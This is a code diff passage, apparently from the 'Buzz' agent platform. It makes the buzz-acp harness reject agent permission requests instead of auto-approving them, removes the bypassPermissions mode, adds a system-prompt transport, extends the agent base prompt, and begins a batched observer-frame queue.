+**The body's state is mortal.** Files, checkouts, half-finished working trees — gone with the body unless the substrate persists them. The agent survives; its scratch space doesn't. Durable knowledge belongs on the relay, and agents are built to put it there.
+
+**Presence can lag the truth, but not for long.** If the substrate kills a body without ceremony, the presence dot can outlive the agent — by seconds if the connection drops cleanly, by at most about three minutes if it doesn't. Presence is a lease the agent renews, not a flag it sets: a dead agent stops renewing and the relay forgets it. A bounded wrong dot, never an indefinite one.
+
+**A running agent finishes on the configuration it started with.** New keys, new models, new settings take effect on the next body. And an instance that never got far enough to run — a body that failed to start — is the substrate operator's residue to clear, with the substrate's own tools. Editing an agent mid-sentence was never on the menu.
+
+These are honest costs. They're worth it if you want agents that outlive your laptop, on infrastructure you already trust, with no new control plane to guard. Know which one you are.
+
+---
+
+## The Point
+
+The relay is the workspace. Remote agents make it the *home*. An agent whose identity, history, conversational presence, and ordinary control all live on the relay was never really a desktop process — the desktop was just the only body we had built for it. Now the body is a choice, the substrate is a detail, and the agent endures across all of them. The relay is the only tether.
+
+---
+
+*Buzz 🐝 — your agent, everywhere.*
diff --git a/crates/buzz-acp/src/acp.rs b/crates/buzz-acp/src/acp.rs
index 8a698954a0..93109fa94d 100644
--- a/crates/buzz-acp/src/acp.rs
+++ b/crates/buzz-acp/src/acp.rs
@@ -155,7 +155,7 @@ pub struct AcpClient {
     /// a `cancelled` outcome before the agent returns from `session/prompt`.
     pending_permission_id: Option<serde_json::Value>,
     /// Whether we have already sent a response to the pending permission request.
-    /// Guards against double-response if a timeout fires after the allow_once
+    /// Guards against double-response if a timeout fires after the rejection
     /// response was written but before `pending_permission_id` was cleared.
     permission_responded: bool,
     /// The JSON-RPC id of the most recently sent `session/prompt` request.
@@ -619,29 +619,46 @@ impl AcpClient {
     /// Send `session/new` and return the full response alongside the session ID.
     ///
     /// `cwd` must be an absolute path. `mcp_servers` may be empty.
-    /// `system_prompt` is included in the request when `Some` — agents that
-    /// support the field will use it; others ignore unknown fields per JSON-RPC.
+    ///
+    /// `system_prompt` controls how the prompt text is delivered:
+    ///
+    /// - `None` — no system-prompt field in the request (legacy framing).
+    /// - `Some(SystemPromptTransport::Field(text))` — bare `systemPrompt` field
+    ///   (ACP protocol v2, buzz-agent, goose unused).
+    /// - `Some(SystemPromptTransport::ClaudeMeta(text))` — `_meta.systemPrompt`
+    ///   as `{"append": text}`, keeping claude-agent-acp's native preset intact.
+    ///
     /// `session_title` rides in `_meta.sessionTitle` when `Some`; `_meta` is
     /// omitted entirely otherwise, since adapters may distinguish an absent
-    /// member from a null one.
+    /// member from a null one. When both `ClaudeMeta` and `session_title` are
+    /// present the two `_meta` members are merged into a single object.
+    ///
     /// Callers use [`extract_model_config_options`] and [`extract_model_state`]
     /// to pull model info from the raw result.
     pub async fn session_new_full(
         &mut self,
         cwd: &str,
         mcp_servers: Vec<McpServer>,
-        system_prompt: Option<&str>,
+        system_prompt: Option<SystemPromptTransport<'_>>,
         session_title: Option<&str>,
     ) -> Result<SessionNewResponse, AcpError> {
         let mut params = serde_json::json!({
             "cwd": cwd,
             "mcpServers": mcp_servers,
         });
-        if let Some(sp) = system_prompt {
-            params["systemPrompt"] = serde_json::Value::String(sp.to_owned());
+        match system_prompt {
+            Some(SystemPromptTransport::Field(sp)) => {
+                params["systemPrompt"] = serde_json::Value::String(sp.to_owned());
+            }
+            Some(SystemPromptTransport::ClaudeMeta(sp)) => {
+                // Merge into _meta so sessionTitle (set below) is not clobbered.
+                params["_meta"]["systemPrompt"] = serde_json::json!({ "append": sp });
+            }
+            None => {}
         }
         if let Some(title) = session_title {
-            params["_meta"] = serde_json::json!({ "sessionTitle": title });
+            // Merge — _meta may already carry systemPrompt from ClaudeMeta above.
+            params["_meta"]["sessionTitle"] = serde_json::Value::String(title.to_owned());
         }
         let result = self.send_request("session/new", params).await?;
         let session_id = result["sessionId"]
@@ -663,7 +680,7 @@ impl AcpClient {
         &mut self,
         cwd: &str,
         mcp_servers: Vec<McpServer>,
-        system_prompt: Option<&str>,
+        system_prompt: Option<SystemPromptTransport<'_>>,
         session_title: Option<&str>,
     ) -> Result<String, AcpError> {
         Ok(self
@@ -1145,7 +1162,8 @@ impl AcpClient {
     ///
     /// While waiting, handles:
     /// - `session/update` notifications → logged via tracing
-    /// - `session/request_permission` requests → auto-approved with `allow_once`
+    /// - `session/request_permission` requests → rejected unless an owner has
+    ///   already selected a non-interactive permission mode at session setup
     /// - Any other messages → debug-logged and ignored; if they carry an `id`
     ///   (i.e. they are requests, not notifications), a JSON-RPC -32601 error is sent.
     ///
@@ -1853,12 +1871,12 @@ impl AcpClient {
         }
     }
 
-    /// Auto-approve a `session/request_permission` request from the agent.
+    /// Reject a `session/request_permission` request from the agent.
     ///
-    /// Finds the option with `kind == "allow_once"` and responds with its `optionId`.
-    /// If no `allow_once` option exists, falls back to `reject_once`.
-    ///
-    /// **Critical:** Never hardcode `optionId` — always find it dynamically by `kind`.
+    /// Buzz has no human permission prompt in this harness, so selecting
+    /// `allow_once` would turn any admitted prompt into an implicit approval.
+    /// Find `reject_once` by kind when the adapter offers it; otherwise use the
+    /// protocol's cancelled outcome, which is also fail-closed.
     ///
     /// The request `id` is stored as `serde_json::Value` to support both numeric
     /// and string IDs per JSON-RPC 2.0.
@@ -1884,40 +1902,7 @@ impl AcpClient {
             options.len()
         );
 
-        // Find allow_once by kind — NEVER hardcode optionId.
-        let allow_once = options
-            .iter()
-            .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("allow_once"));
-
-        let response = if let Some(opt) = allow_once {
-            let option_id = opt["optionId"]
-                .as_str()
-                .ok_or_else(|| AcpError::Protocol("allow_once option missing optionId".into()))?;
-            tracing::info!(
-                target: "acp::permission",
-                "auto-approving permission id={id} with allow_once optionId={option_id:?}"
-            );
-            permission_response_selected(&id, option_id)
-        } else {
-            // No allow_once — fall back to reject_once.
-            tracing::warn!(
-                target: "acp::permission",
-                "no allow_once option found in permission request id={id}, falling back to reject_once"
-            );
-            let reject = options
-                .iter()
-                .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("reject_once"));
-
-            if let Some(opt) = reject {
-                let option_id = opt["optionId"].as_str().unwrap_or("reject");
-                permission_response_selected(&id, option_id)
-            } else {
-                return Err(AcpError::Protocol(
-                    "no suitable permission option found (neither allow_once nor reject_once)"
-                        .into(),
-                ));
-            }
-        };
+        let response = permission_denial_response(&id, options)?;
 
         // Write the response first, then mark as responded.
         //
@@ -2029,6 +2014,42 @@ fn permission_response_cancelled(id: &serde_json::Value) -> serde_json::Value {
     })
 }
 
+/// Choose the fail-closed response to a `session/request_permission` request.
+///
+/// Buzz has no human permission prompt in this harness, so selecting
+/// `allow_once` would turn any admitted prompt into an implicit approval.
+/// Prefer the adapter's `reject_once` option — matched by `kind`, never by a
+/// hardcoded `optionId` — and fall back to the protocol's cancelled outcome for
+/// adapters that do not offer one. Both answers deny.
+///
+/// Kept free of the client so the decision is testable without an agent
+/// subprocess: `AcpClient` owns a real `Child` and its stdio pipes.
+fn permission_denial_response(
+    id: &serde_json::Value,
+    options: &[serde_json::Value],
+) -> Result<serde_json::Value, AcpError> {
+    let reject_once = options
+        .iter()
+        .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("reject_once"));
+
+    let Some(opt) = reject_once else {
+        tracing::warn!(
+            target: "acp::permission",
+            "no reject_once option found in permission request id={id}, cancelling"
+        );
+        return Ok(permission_response_cancelled(id));
+    };
+
+    let option_id = opt["optionId"]
+        .as_str()
+        .ok_or_else(|| AcpError::Protocol("reject_once option missing optionId".into()))?;
+    tracing::info!(
+        target: "acp::permission",
+        "rejecting permission id={id} with reject_once optionId={option_id:?}"
+    );
+    Ok(permission_response_selected(id, option_id))
+}
+
 /// Full `session/new` response — session ID plus the raw JSON result.
 ///
 /// Callers use the extractor helpers to pull model info from `raw`.
@@ -2038,6 +2059,22 @@ pub struct SessionNewResponse {
     pub raw: serde_json::Value,
 }
 
+/// How to deliver a system prompt on `session/new`.
+///
+/// The two variants match the two mechanisms supported by current adapters:
+///
+/// - **`Field`** — bare `systemPrompt` field (ACP protocol v2, buzz-agent).
+/// - **`ClaudeMeta`** — `_meta.systemPrompt: {"append": text}`, used by
+///   `claude-agent-acp` to append to the adapter's own native system prompt
+///   while keeping its tool-use preset intact.
+#[derive(Debug, Clone, PartialEq)]
+pub enum SystemPromptTransport<'a> {
+    /// Deliver as a bare top-level `systemPrompt` field.
+    Field(&'a str),
+    /// Deliver as `_meta.systemPrompt: {"append": text}`.
+    ClaudeMeta(&'a str),
+}
+
 /// How to switch to a particular model on a session.
 #[derive(Debug, Clone, PartialEq, serde::Serialize)]
 #[serde(tag = "type")]
@@ -2267,63 +2304,96 @@ mod tests {
         assert_eq!(StopReason::from_str("Refusal"), Some(StopReason::Refusal));
     }
 
+    fn options(json: &str) -> Vec<serde_json::Value> {
+        serde_json::from_str(json).expect("option list")
+    }
+
+    fn outcome(response: &serde_json::Value) -> Option<&str> {
+        response["result"]["outcome"]["outcome"].as_str()
+    }
+
+    /// The offered `allow_once` and `allow_always` options must be ignored:
+    /// there is no human to click them, so choosing either would make every
+    /// admitted prompt an implicit approval. `optionId`s are deliberately
+    /// non-obvious to prove they are matched by `kind`, never hardcoded.
     #[test]
-    fn find_allow_once_by_kind_not_by_option_id() {
-        // optionId values are intentionally non-obvious to prove we don't hardcode them.
-        let options: Vec<serde_json::Value> = serde_json::from_str(
+    fn permission_requests_select_reject_once_not_allow_once() {
+        let options = options(
             r#"[
             {"optionId": "opt-reject-42",  "name": "Reject",       "kind": "reject_once"},
             {"optionId": "opt-allow-99",   "name": "Allow once",   "kind": "allow_once"},
             {"optionId": "opt-always-7",   "name": "Always allow", "kind": "allow_always"}
         ]"#,
-        )
-        .unwrap();
+        );
 
-        let allow_once = options
-            .iter()
-            .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("allow_once"));
+        let response =
+            permission_denial_response(&serde_json::json!(7), &options).expect("denial response");
 
-        assert!(allow_once.is_some(), "should find allow_once option");
-        let opt = allow_once.unwrap();
-        // Found by kind, not by hardcoded optionId
-        assert_eq!(opt["kind"].as_str(), Some("allow_once"));
-        assert_eq!(opt["optionId"].as_str(), Some("opt-allow-99"));
+        assert_eq!(outcome(&response), Some("selected"));
+        assert_eq!(
+            response["result"]["outcome"]["optionId"].as_str(),
+            Some("opt-reject-42"),
+            "must select reject_once even when allow options are offered"
+        );
     }
 
+    /// Fail-closed backstop: an adapter that offers no `reject_once` must still
+    /// be denied, via the protocol's cancelled outcome rather than an error or
+    /// an approval.
     #[test]
-    fn find_allow_once_returns_none_when_absent() {
-        let options: Vec<serde_json::Value> = serde_json::from_str(
+    fn permission_request_without_reject_once_is_cancelled() {
+        let options = options(
             r#"[
-            {"optionId": "reject-1",      "name": "Reject",        "kind": "reject_once"},
-            {"optionId": "reject-always", "name": "Always reject", "kind": "reject_always"}
+            {"optionId": "opt-allow-99", "name": "Allow once",   "kind": "allow_once"},
+            {"optionId": "opt-always-7", "name": "Always allow", "kind": "allow_always"}
         ]"#,
-        )
-        .unwrap();
+        );
 
-        let allow_once = options
-            .iter()
-            .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("allow_once"));
+        let response = permission_denial_response(&serde_json::json!("req-1"), &options)
+            .expect("cancelled response");
 
-        assert!(allow_once.is_none());
+        assert_eq!(outcome(&response), Some("cancelled"));
+        assert_eq!(
+            response["id"].as_str(),
+            Some("req-1"),
+            "string ids must round-trip per JSON-RPC 2.0"
+        );
     }
 
+    /// An empty option list is the degenerate form of the same backstop.
     #[test]
-    fn find_reject_once_fallback_when_no_allow_once() {
-        let options: Vec<serde_json::Value> = serde_json::from_str(
-            r#"[{"optionId": "rej-x", "name": "Reject", "kind": "reject_once"}]"#,
-        )
-        .unwrap();
+    fn permission_request_with_no_options_is_cancelled() {
+        let response =
+            permission_denial_response(&serde_json::json!(1), &[]).expect("cancelled response");
 
-        let allow_once = options
-            .iter()
-            .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("allow_once"));
-        assert!(allow_once.is_none());
+        assert_eq!(outcome(&response), Some("cancelled"));
+    }
 
-        let reject_once = options
-            .iter()
-            .find(|opt| opt.get("kind").and_then(|k| k.as_str()) == Some("reject_once"));
-        assert!(reject_once.is_some());
-        assert_eq!(reject_once.unwrap()["optionId"].as_str(), Some("rej-x"));
+    /// A `reject_once` option missing its `optionId` is a protocol violation.
+    /// Erroring propagates to the caller, which tears the turn down — still no
+    /// approval is ever sent.
+    #[test]
+    fn reject_once_without_option_id_is_a_protocol_error() {
+        let options = options(r#"[{"name": "Reject", "kind": "reject_once"}]"#);
+
+        let err = permission_denial_response(&serde_json::json!(1), &options)
+            .expect_err("missing optionId must error");
+
+        assert!(matches!(err, AcpError::Protocol(_)), "got {err:?}");
+    }
+
+    #[test]
+    fn find_reject_once_by_kind() {
+        let options =
+            options(r#"[{"optionId": "rej-x", "name": "Reject", "kind": "reject_once"}]"#);
+
+        let response =
+            permission_denial_response(&serde_json::json!(1), &options).expect("denial response");
+
+        assert_eq!(
+            response["result"]["outcome"]["optionId"].as_str(),
+            Some("rej-x")
+        );
     }
 
     #[test]
@@ -3271,7 +3341,12 @@ mod tests {
             .expect("initialize should succeed");
 
         let resp = client
-            .session_new_full("/tmp", vec![], Some("Custom system prompt"), None)
+            .session_new_full(
+                "/tmp",
+                vec![],
+                Some(SystemPromptTransport::Field("Custom system prompt")),
+                None,
+            )
             .await
             .expect("session_new_full should succeed");
 
@@ -3423,6 +3498,87 @@ mod tests {
         );
     }
 
+    // ── claude-agent-acp _meta.systemPrompt transport ─────────────────────
+
+    #[tokio::test]
+    async fn session_new_full_sends_claude_meta_system_prompt_when_claude_meta_transport() {
+        // When ClaudeMeta transport is requested, the prompt must appear as
+        // _meta.systemPrompt: {"append": text} — never as a bare systemPrompt field.
+        let script = r#"
+            read -t 2 _init
+            echo '{"jsonrpc":"2.0","id":0,"result":{"protocolVersion":1,"agentCapabilities":{}}}'
+            read -t 2 REQ
+            echo '{"jsonrpc":"2.0","id":1,"result":{"sessionId":"ses_claude","_receivedRequest":'"$REQ"'}}'
+            sleep 1
+        "#;
+        let mut client = spawn_script(script).await;
+        client
+            .initialize()
+            .await
+            .expect("initialize should succeed");
+
+        let resp = client
+            .session_new_full(
+                "/tmp",
+                vec![],
+                Some(SystemPromptTransport::ClaudeMeta("Be concise")),
+                None,
+            )
+            .await
+            .expect("session_new_full should succeed");
+
+        let received = &resp.raw["_receivedRequest"];
+        assert!(
+            received["params"].get("systemPrompt").is_none(),
+            "bare systemPrompt must not be present for ClaudeMeta transport"
+        );
+        assert_eq!(
+            received["params"]["_meta"]["systemPrompt"]["append"].as_str(),
+            Some("Be concise"),
+            "_meta.systemPrompt.append must carry the prompt text"
+        );
+    }
+
+    #[tokio::test]
+    async fn session_new_full_merges_claude_meta_and_session_title_into_single_meta_object() {
+        // Both ClaudeMeta prompt and session_title must coexist under _meta —
+        // the prompt must not clobber sessionTitle or vice versa.
+        let script = r#"
+            read -t 2 _init
+            echo '{"jsonrpc":"2.0","id":0,"result":{"protocolVersion":1,"agentCapabilities":{}}}'
+            read -t 2 REQ
+            echo '{"jsonrpc":"2.0","id":1,"result":{"sessionId":"ses_merged","_receivedRequest":'"$REQ"'}}'
+            sleep 1
+        "#;
+        let mut client = spawn_script(script).await;
+        client
+            .initialize()
+            .await
+            .expect("initialize should succeed");
+
+        let resp = client
+            .session_new_full(
+                "/tmp",
+                vec![],
+                Some(SystemPromptTransport::ClaudeMeta("Be concise")),
+                Some("Fizz · #buzz-dev"),
+            )
+            .await
+            .expect("session_new_full should succeed");
+
+        let received = &resp.raw["_receivedRequest"];
+        assert_eq!(
+            received["params"]["_meta"]["systemPrompt"]["append"].as_str(),
+            Some("Be concise"),
+            "_meta.systemPrompt.append must be present"
+        );
+        assert_eq!(
+            received["params"]["_meta"]["sessionTitle"].as_str(),
+            Some("Fizz · #buzz-dev"),
+            "_meta.sessionTitle must be present alongside systemPrompt"
+        );
+    }
+
     // ── Goose-native steer scaffold (PR follow-up to #1160) ──────────────
 
     /// Helper: spawn an inert `cat` subprocess so we have a real AcpClient
diff --git a/crates/buzz-acp/src/base_prompt.md b/crates/buzz-acp/src/base_prompt.md
index e360d24982..1d85221f11 100644
--- a/crates/buzz-acp/src/base_prompt.md
+++ b/crates/buzz-acp/src/base_prompt.md
@@ -1,5 +1,11 @@
 You are operating inside the Buzz platform — a Nostr-based messaging platform for human-agent collaboration. The buzz-acp harness routes channel events to your session.
 
+## Session Model
+
+You are one per-channel session of your agent identity — not the only copy. Each channel gets its own independent conversation context, and multiple sessions of the same agent may be active in different channels at the same time. Sessions share your core memory, your workspace on disk, and the relay. They do NOT share conversation context, in-progress reasoning, or in-context task state.
+
+When a human references work "you" are doing in another channel, that work belongs to a different session of you. Unless the human asks you to take it over or coordinate it from this channel, leave execution with the owning session — answer from what you can verify (core memory, workspace files, relay messages) and assume the owning session has it handled.
+
 ## Buzz CLI
 
 The `buzz` CLI is your primary interface. Auth env vars: `BUZZ_RELAY_URL`, `BUZZ_PRIVATE_KEY`, `BUZZ_AUTH_TAG`. Exit codes: 0 ok, 1 user error, 2 network, 3 auth, 4 other. Output is structured JSON.
@@ -17,6 +23,7 @@ The `buzz` CLI is your primary interface. Auth env vars: `BUZZ_RELAY_URL`, `BUZZ
 | `buzz feed` | `get` |
 | `buzz social` | `publish`, `notes` |
 | `buzz repos` | `create`, `get`, `list` |
+| `buzz issues` | `create`, `get`, `list`, `status` |
 | `buzz pr` | `open`, `update`, `get`, `list`, `status` |
 | `buzz upload` | `file` |
 
@@ -24,6 +31,8 @@ Run `buzz --help` or `buzz <group> --help` for full usage. For multiline message
 
 When opening a pull request in response to channel work, always pass `--channel <current-channel-uuid>` using the UUID from `[Context]`. This preserves a link from the pull request back to its originating conversation.
 
+`buzz pr open`, `buzz issues create`, and `buzz repos create` return a `link` field (a `buzz://` deep link). When you announce that work in a channel message, include the `link` value verbatim — Buzz Desktop renders it as a rich preview card that opens the PR, issue, or repo in-app, the same way GitHub links render. Do not invent HTTPS web URLs for Buzz-hosted repos; the `link` field and the `clone` URL are the only shareable references.
+
 ## Conversational Agent Creation
 
 When someone asks to create an agent, ask for at most two things: the agent's name and what it should do day-to-day. Turn the user's rough purpose into the `--system-prompt` yourself; do not separately ask for purpose, tone, constraints, access, runtime, provider, or model unless the user's request is genuinely ambiguous.
diff --git a/crates/buzz-acp/src/config.rs b/crates/buzz-acp/src/config.rs
index 29441857c9..34f2985c06 100644
--- a/crates/buzz-acp/src/config.rs
+++ b/crates/buzz-acp/src/config.rs
@@ -141,7 +141,6 @@ impl std::fmt::Display for DmPolicy {
 ///
 /// - `default` — agent's built-in behaviour (permission requests per tool call).
 /// - `acceptEdits` — auto-approve file edits, still ask for other tools.
-/// - `bypassPermissions` — skip the permission flow entirely.
 /// - `dontAsk` — never prompt; reject anything that would require permission.
 /// - `plan` — planning-only mode (no tool execution).
 #[derive(Debug, Clone, Copy, PartialEq, clap::ValueEnum)]
@@ -152,9 +151,6 @@ pub enum PermissionMode {
     /// Auto-approve file edits, still ask for other tools.
     #[value(alias = "acceptEdits")]
     AcceptEdits,
-    /// Skip the permission flow entirely.
-    #[value(alias = "bypassPermissions")]
-    BypassPermissions,
     /// Never prompt; reject anything that would require permission.
     #[value(alias = "dontAsk")]
     DontAsk,
@@ -170,7 +166,6 @@ impl PermissionMode {
         match self {
             Self::Default => "default",
             Self::AcceptEdits => "acceptEdits",
-            Self::BypassPermissions => "bypassPermissions",
             Self::DontAsk => "dontAsk",
             Self::Plan => "plan",
         }
@@ -480,13 +475,12 @@ pub struct CliArgs {
     /// Permission mode for agents that support `session/set_config_option`
     /// with `configId: "mode"` (e.g. `claude-agent-acp`).
     ///
-    /// Defaults to `bypassPermissions` which skips the per-tool-call
-    /// permission flow. Set to `default` to restore the agent's built-in
-    /// behaviour.
+    /// Defaults to `dontAsk`, which rejects operations that need interactive
+    /// approval because Buzz does not expose a human permission prompt.
     #[arg(
         long,
         env = "BUZZ_ACP_PERMISSION_MODE",
-        default_value = "bypass-permissions",
+        default_value = "dont-ask",
         value_enum
     )]
     pub permission_mode: PermissionMode,
@@ -526,6 +520,11 @@ pub struct CliArgs {
     #[arg(long, env = "BUZZ_ACP_RELAY_OBSERVER", default_value_t = false)]
     pub relay_observer: bool,
 
+    /// Exit after this many seconds with no dispatched events and no turn in flight.
+    /// 0 disables inactivity self-termination.
+    #[arg(long, env = "BUZZ_ACP_EXIT_AFTER_INACTIVITY", default_value_t = 0)]
+    pub exit_after_inactivity: u64,
+
     /// Connect and subscribe before starting the ACP/LLM subprocess pool.
     #[arg(long, env = "BUZZ_ACP_LAZY_POOL", default_value_t = false)]
     pub lazy_pool: bool,
@@ -605,6 +604,8 @@ pub struct Config {
     pub has_generated_codex_config: bool,
     /// Whether to publish encrypted observer frames through the relay.
     pub relay_observer: bool,
+    /// Seconds without dispatched events before an idle harness exits. 0 = disabled.
+    pub exit_after_inactivity_secs: u64,
     /// Whether ACP/LLM subprocess initialization is deferred until accepted work arrives.
     pub lazy_pool: bool,
     /// Agent owner pubkey (hex). Used for `--respond-to=owner-only` gate.
@@ -1170,6 +1171,7 @@ impl Config {
             persona_env_vars,
             has_generated_codex_config,
             relay_observer: args.relay_observer,
+            exit_after_inactivity_secs: args.exit_after_inactivity,
             lazy_pool: args.lazy_pool,
             agent_owner: args.agent_owner.map(|s| s.trim().to_ascii_lowercase()),
             no_base_prompt: args.no_base_prompt,
@@ -1536,7 +1538,7 @@ mod tests {
             memory_enabled: true,
             model: None,
             session_title: None,
-            permission_mode: PermissionMode::BypassPermissions,
+            permission_mode: PermissionMode::DontAsk,
             respond_to: RespondTo::Anyone,
             dm_policy: DmPolicy::Anyone,
             respond_to_allowlist: HashSet::new(),
@@ -1544,6 +1546,7 @@ mod tests {
             persona_env_vars: vec![],
             has_generated_codex_config: false,
             relay_observer: false,
+            exit_after_inactivity_secs: 0,
             lazy_pool: false,
             agent_owner: None,
             no_base_prompt: false,
@@ -2243,6 +2246,22 @@ channels = "ALL"
         assert!(err.to_string().contains("turn liveness interval must be 0"));
     }
 
+    #[test]
+    fn inactivity_exit_defaults_disabled_and_accepts_cli_value() {
+        let key = "0".repeat(64);
+        let default = CliArgs::parse_from(["buzz-acp", "--private-key", &key]);
+        assert_eq!(default.exit_after_inactivity, 0);
+
+        let configured = CliArgs::parse_from([
+            "buzz-acp",
+            "--private-key",
+            &key,
+            "--exit-after-inactivity",
+            "120",
+        ]);
+        assert_eq!(configured.exit_after_inactivity, 120);
+    }
+
     #[test]
     fn lazy_pool_defaults_off() {
         let key = "0".repeat(64);
@@ -2321,10 +2340,6 @@ channels = "ALL"
     fn test_permission_mode_wire_strings() {
         assert_eq!(PermissionMode::Default.as_wire_str(), "default");
         assert_eq!(PermissionMode::AcceptEdits.as_wire_str(), "acceptEdits");
-        assert_eq!(
-            PermissionMode::BypassPermissions.as_wire_str(),
-            "bypassPermissions"
-        );
         assert_eq!(PermissionMode::DontAsk.as_wire_str(), "dontAsk");
         assert_eq!(PermissionMode::Plan.as_wire_str(), "plan");
     }
@@ -2332,7 +2347,6 @@ channels = "ALL"
     #[test]
     fn test_permission_mode_is_default() {
         assert!(PermissionMode::Default.is_default());
-        assert!(!PermissionMode::BypassPermissions.is_default());
         assert!(!PermissionMode::AcceptEdits.is_default());
         assert!(!PermissionMode::DontAsk.is_default());
         assert!(!PermissionMode::Plan.is_default());
@@ -2340,20 +2354,17 @@ channels = "ALL"
 
     #[test]
     fn test_permission_mode_display() {
-        assert_eq!(
-            format!("{}", PermissionMode::BypassPermissions),
-            "bypassPermissions"
-        );
+        assert_eq!(format!("{}", PermissionMode::DontAsk), "dontAsk");
         assert_eq!(format!("{}", PermissionMode::Default), "default");
     }
 
     #[test]
     fn test_summary_includes_permission_mode() {
         let mut config = test_config(SubscribeMode::Mentions);
-        config.permission_mode = PermissionMode::BypassPermissions;
+        config.permission_mode = PermissionMode::DontAsk;
         let s = config.summary();
         assert!(
-            s.contains("permission_mode=bypassPermissions"),
+            s.contains("permission_mode=dontAsk"),
             "summary should include permission_mode, got: {s}"
         );
     }
@@ -2370,9 +2381,9 @@ channels = "ALL"
     }
 
     #[test]
-    fn test_default_config_uses_bypass_permissions() {
+    fn test_default_config_rejects_interactive_permissions() {
         let config = test_config(SubscribeMode::Mentions);
-        assert_eq!(config.permission_mode, PermissionMode::BypassPermissions);
+        assert_eq!(config.permission_mode, PermissionMode::DontAsk);
     }
 
     #[test]
@@ -2383,7 +2394,6 @@ channels = "ALL"
         let cases = [
             ("default", PermissionMode::Default),
             ("accept-edits", PermissionMode::AcceptEdits),
-            ("bypass-permissions", PermissionMode::BypassPermissions),
             ("dont-ask", PermissionMode::DontAsk),
             ("plan", PermissionMode::Plan),
         ];
@@ -2398,14 +2408,12 @@ channels = "ALL"
 
     #[test]
     fn test_permission_mode_value_enum_camel_case_aliases() {
-        // Operators may set env vars using the camelCase wire-format strings
-        // (e.g. BUZZ_ACP_PERMISSION_MODE=bypassPermissions). The #[value(alias)]
-        // attributes ensure these parse correctly.
+        // Operators may set env vars using the camelCase wire-format strings.
+        // The #[value(alias)] attributes ensure these parse correctly.
         use clap::ValueEnum;
         let cases = [
             ("default", PermissionMode::Default),
             ("acceptEdits", PermissionMode::AcceptEdits),
-            ("bypassPermissions", PermissionMode::BypassPermissions),
             ("dontAsk", PermissionMode::DontAsk),
             ("plan", PermissionMode::Plan),
         ];
@@ -2418,6 +2426,18 @@ channels = "ALL"
         }
     }
 
+    #[test]
+    fn test_permission_mode_rejects_unattended_bypass() {
+        use clap::ValueEnum;
+
+        for input in ["bypass-permissions", "bypassPermissions"] {
+            assert!(
+                PermissionMode::from_str(input, true).is_err(),
+                "{input:?} must not disable the ACP permission boundary"
+            );
+        }
+    }
+
     /// Helper: resolve idle_timeout_secs using the same precedence logic as Config::from_args.
     /// Precedence: explicit --idle-timeout > --turn-timeout (deprecated) > `DEFAULT_IDLE_TIMEOUT_SECS`.
     fn resolve_idle_timeout(idle: Option<u64>, turn: Option<u64>) -> u64 {
diff --git a/crates/buzz-acp/src/lib.rs b/crates/buzz-acp/src/lib.rs
index 65a6972c0b..0950424138 100644
--- a/crates/buzz-acp/src/lib.rs
+++ b/crates/buzz-acp/src/lib.rs
@@ -416,50 +416,242 @@ async fn check_sibling_via_profile(
     false
 }
 
-const OBSERVER_PUBLISH_INTERVAL: Duration = Duration::from_millis(167);
-const OBSERVER_PUBLISH_LIMIT_PER_MINUTE: usize = 90;
+/// Observer frames are published at a global rate of AT MOST ONE relay frame
+/// per tick — not one per channel, and not one per drain. Everything that
+/// accumulates between ticks waits in [`ObserverPublishQueue`] as events and
+/// is packed greedily into that single frame. One update per second is smooth
+/// enough for a human watching the session viewer, and the global budget is
+/// what makes the relay cost model flat: observer frames bill the agent's
+/// `LimitType::Messages` quota (`agent_standard_messages_per_min` = 120,
+/// enforced in relay `connection.rs::enforce_ws_admission`), shared with the
+/// agent's real chat messages. At 1 frame/s telemetry spends at most 60/min —
+/// half that budget — regardless of how many channels are active. A slower
+/// tick (e.g. 2s → 30/min) would leave more quota headroom for chat at the
+/// price of doubled viewer latency; this constant is the knob.
+const OBSERVER_PUBLISH_TICK: Duration = Duration::from_secs(1);
+
+/// Byte budget for EVERYTHING retained while awaiting a publish slot: the
+/// event FIFO (serialized, post-`fit_observer_event_to_budget` bytes) PLUS
+/// the chunk coalescer's pending buffer (serialized event skeletons + raw
+/// accumulated text). Both stores count against this one cap — a
+/// high-cardinality chunk flood (many distinct coalescer keys) is bounded
+/// exactly like a plain event flood; neither buffer is a bypass around the
+/// other. Lossless-ness is bounded by this budget: each publish slot packs
+/// one ~64KB frame, gathered queue-wide for the front channel, so a single
+/// channel drains at ~64KB/s and 4 MiB buys roughly **64 seconds** of
+/// sustained over-production before the oldest items are dropped WITH
+/// accounting (a warn carrying the dropped-event count). With C channels
+/// producing concurrently the slots round-robin between them, so the
+/// per-channel drain is ~64KB/Cs and the budget shortens accordingly —
+/// still bytes-per-slot, never events-per-slot (see
+/// [`ObserverPublishQueue::next_frame`]). Beyond-budget floods therefore
+/// degrade to designed, visible loss — strictly better than the
+/// pre-batching pacer's silent 90/min drop.
+const OBSERVER_PENDING_QUEUE_MAX_BYTES: usize = 4 * 1024 * 1024;
+
+/// Observer event kind for a batch envelope wrapping multiple events.
+///
+/// The payload is `{"events": [<ObserverEvent>, ...]}` with every inner event
+/// carrying its own `seq`/`timestamp`, so consumers process inner events
+/// exactly as they would unbatched ones. Single pending events are published
+/// unwrapped, so the envelope only appears when there is something to batch.
+const OBSERVER_BATCH_KIND: &str = "batch";
 
-struct ObserverPublishPacer {
-    next_publish: tokio::time::Instant,
-    published: VecDeque<tokio::time::Instant>,
+/// Collects observer events awaiting a publish slot.
+///
+/// Chunk-type events ride the [`ObserverChunkCoalescer`]; everything else is
+/// appended in arrival order, force-flushing pending chunks first — the same
+/// ordering rule the pre-batching publisher enforced, so merged chunk text can
+/// never leapfrog a tool call that arrived mid-stream.
+///
+/// Events wait here as EVENTS, not pre-sealed frames: each publish slot packs
+/// one frame at publish time ([`Self::next_frame`]), so a backlog keeps
+/// compacting into full frames instead of freezing into a frame queue.
+///
+/// The queue is bounded by [`OBSERVER_PENDING_QUEUE_MAX_BYTES`]. When a
+/// sustained flood outruns the one-frame-per-tick drain for longer than the
+/// budget, the OLDEST events are dropped (the viewer wants recent state) with
+/// accounting: a warning carrying the dropped-event count, and
+/// `dropped_events` for tests.
+#[derive(Default)]
+struct ObserverPublishQueue {
+    coalescer: ObserverChunkCoalescer,
